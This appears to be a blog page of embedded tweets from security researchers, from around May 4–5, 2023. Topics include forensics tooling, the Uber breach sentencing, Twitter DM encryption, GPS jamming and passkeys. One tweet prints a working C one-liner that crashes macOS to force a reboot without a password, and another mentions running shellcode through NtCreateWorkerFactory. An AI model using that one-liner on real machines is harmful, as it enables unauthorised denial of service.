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May 5, 2023

May 5, 2023

May 5, 2023

https://twitter.com/ruby_stevens/status/1653868622320680960

MemProcFS memory analysis and forensics v5.6 released!

FindEvil with built-in Yara rules from Elastic 🔥

A new file recovery module, bug and performance fixes!https://t.co/inOM3l1GIF pic.twitter.com/oznwIgMwbJ

— Ulf Frisk (@UlfFrisk) May 2, 2023

In the years since the Uber case, an entire negotiation industry has emerged to keep extortion events further at arms length from the board. Lesson seems to be:
hire enough high powered Beltway lawyers & an enterprise may conceal facts of negative events as much as they wish. But…

— JD Work (@HostileSpectrum) May 5, 2023


https://twitter.com/vxunderground/status/1654291046975807488

Kenya is a major hub for the contract cheating industry, in which freelancers are hired by American college students to write their essays and do their homework. Now AI tools like ChatGPT are taking their jobs https://t.co/2eA0RJsYrb

— Rest of World (@restofworld) May 5, 2023

Does anyone know how to quickly reboot macos from the commandline without password?

— tihmstar (@tihmstar) May 4, 2023

Sure!
cc -Wno-all -xc -<<<‘main(f){fcntl(f=open(&f,513),48,1);write(f,0xFFFFFC000,1<<14);}’;./a.out

— Linus Henze (@LinusHenze) May 4, 2023

I wrote a moderately detailed description of what Twitter seems to be doing for encrypted DMs. tl;dr - better than unencrypted DMs, worse than Signal or WhatsApp. https://t.co/3pMmWE3ruP

— Matthew Garrett (@mjg59@nondeterministic.computer) (@mjg59) May 4, 2023

Former Uber security chief Joe Sullivan sentenced to probation in data breach cover-up. https://t.co/59Civexj07

— Joseph Menn (@josephmenn) May 4, 2023

New documentary on the Panama Papers leaks is out from Alex Winter (@winter) -- and it's streaming for free. Too bad our leaks class at @SAISHopkins ended last week. Would have loved to watch and discuss this with our students. https://t.co/TJaf9XM1zk

— Kim Zetter (@KimZetter) May 4, 2023

1970s LANGLEY:

CIA GOON 1: I think we should stop rigging Italian elections. How can we call ourselves defenders of Western democracy if we undermine it? We must trust the people.

CIA GOON 2: Fine

*2 WEEKS LATER ON TV*

CRONKITE: Sleazo Sexcrimes swept Italian elections today.

— Open Source Stupidity (OSSTU) Starfish (@IRHotTakes) May 4, 2023

https://t.co/xDiXvDEoy3

— Dr. Dan Lomas (@Sandbagger_01) May 4, 2023

A massive GPS glitch in Moscow.

Car-sharing cars and scooters are shown floating in the river, taxis are being called to the other side of the city, and pedestrian navigation is working intermittently.

All because the police are jamming GPS signal for security purposes in… pic.twitter.com/XxlteQWp8j

— Anton Gerashchenko (@Gerashchenko_en) May 4, 2023

A massive GPS glitch in Moscow.

Car-sharing cars and scooters are shown floating in the river, taxis are being called to the other side of the city, and pedestrian navigation is working intermittently.

All because the police are jamming GPS signal for security purposes in… pic.twitter.com/XxlteQWp8j

— Anton Gerashchenko (@Gerashchenko_en) May 4, 2023

Just configured a passkey for my gmail address.
Works like magic: Sign in on desktop with a Bluetooth connection to my Android device.@agl__ should I blame you 😝? and if so, when blog on the crypto / protocol parts? https://t.co/q9PTNBsqc9 pic.twitter.com/eIypMgNAyC

— Tal Be'ery (@TalBeerySec) May 3, 2023

🔥 If you read one thing about AI this week, let it be Google’s leaked doc

“We have no moat, and neither does OpenAI” pic.twitter.com/qwjLiCRYNW

— Jelle Prins (@jelleprins) May 4, 2023

Google "We Have No Moat, And Neither Does OpenAI"

Leaked Internal Google Document Claims Open Source AI Will Outcompete Google and OpenAI


Going through old papers my dad gave me, I found his map of the internet as of May 1973.

The entire internet. pic.twitter.com/0krvYoRGav

— David Newbury (@workergnome) December 10, 2016

pic.twitter.com/xOaPKNZak2

— Anonymous Operations (@AnonOpsSE) May 4, 2023

never understood the american approach to banking — letting a bunch of small town cowboys run them all over the place like they’re HVAC repair shops. in australia the government picked 4 or 5 banks to neuter and then grant the mandate of heaven. works like a charm

— Gabriel (@gbrl_dick) May 4, 2023

americans will have something called like ‘the first national chemical bank of zion’ where the head of risk is a 46 year old man wearing a ten gallon hat who’s last job was just “oil wildcatter” and it will be a systemically important financial institution

— Gabriel (@gbrl_dick) May 4, 2023

i will say the crypto vision makes so much more in america where your choices are sending a payment via telegram from the mississippi teachers’ bank and trust that takes 6 days to clear or using an app called zinga! that broadcasts a public feed of your drug deals

— Gabriel (@gbrl_dick) May 4, 2023

Interesting public offensive. It speaks of cyber tools BUT also information operations. They’re accusing the US of organising so-called “color revolutions”, which is a Russian claim. All is oldnews? Chinese report alleging CIA cyber tools is here: https://t.co/v1lIGBmuzU pic.twitter.com/e1JoyyVSC4

— Lukasz Olejnik, Ph.D, LL.M (@lukOlejnik) May 5, 2023

https://twitter.com/subtee/status/1654452101421096960
https://twitter.com/subtee/status/1654452101421096960

I confirm that we can use NtCreateWorkerFactory to execute our shellcode, it's just another way to do it :Dhttps://t.co/kbAYKqtcZh https://t.co/zhloUf1DEV pic.twitter.com/GaznzgbOIg

— RistBS (@RistBs) May 4, 2023

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